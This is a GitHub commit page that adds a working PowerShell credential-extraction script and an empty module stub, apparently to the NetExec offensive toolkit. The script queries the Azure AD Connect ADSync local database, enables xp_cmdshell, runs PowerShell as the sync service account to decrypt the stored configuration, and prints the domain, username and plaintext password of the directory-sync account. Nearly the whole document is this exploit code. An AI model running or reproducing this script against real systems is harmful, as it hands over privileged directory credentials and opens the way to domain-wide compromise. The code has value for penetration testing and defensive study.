Skip to content

Commit 8415e25

Browse files
committed
Init module to extract entry id sync credentials
1 parent e446d36 commit 8415e25

2 files changed

Lines changed: 92 additions & 0 deletions

File tree

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
2+
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
3+
4+
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
5+
6+
try {
7+
$client.Open()
8+
} catch {
9+
Write-Host "[!] Could not connect to localdb..."
10+
return
11+
}
12+
13+
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
14+
15+
$cmd = $client.CreateCommand()
16+
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
17+
$reader = $cmd.ExecuteReader()
18+
if ($reader.Read() -ne $true) {
19+
Write-Host "[!] Error querying mms_server_configuration"
20+
return
21+
}
22+
23+
$key_id = $reader.GetInt32(0)
24+
$instance_id = $reader.GetGuid(1)
25+
$entropy = $reader.GetGuid(2)
26+
$reader.Close()
27+
28+
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
29+
30+
$cmd = $client.CreateCommand()
31+
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
32+
$reader = $cmd.ExecuteReader()
33+
if ($reader.Read() -ne $true) {
34+
Write-Host "[!] Error querying mms_management_agent"
35+
return
36+
}
37+
38+
$config = $reader.GetString(0)
39+
$crypted = $reader.GetString(1)
40+
$reader.Close()
41+
42+
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
43+
44+
$cmd = $client.CreateCommand()
45+
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
46+
$reader = $cmd.ExecuteReader()
47+
48+
$decrypted = [string]::Empty
49+
50+
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
51+
$decrypted += $reader.GetString(0)
52+
}
53+
54+
if ($decrypted -eq [string]::Empty) {
55+
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
56+
return
57+
}
58+
59+
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
60+
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
61+
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
62+
63+
Write-Host "[*] Credentials incoming...`n"
64+
65+
Write-Host "Domain: $($domain.Domain)"
66+
Write-Host "Username: $($username.Username)"
67+
Write-Host "Password: $($password.Password)"

nxc/modules/entra-sync-creds.py

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
class NXCModule:
3+
"""
4+
Example:
5+
-------
6+
Module by @yomama
7+
"""
8+
9+
name = "entra-sync-creds"
10+
description = "Extract Entra ID sync credentials from the target host"
11+
supported_protocols = ["smb"]
12+
opsec_safe = True
13+
multiple_hosts = True
14+
15+
def __init__(self):
16+
self.context = None
17+
self.module_options = None
18+
19+
def options(self, context, module_options):
20+
"""Required.
21+
Module options get parsed here. Additionally, put the modules usage here as well
22+
"""
23+
24+
def on_admin_login(self, context, connection):
25+
self.context = context

0 commit comments

Comments
 (0)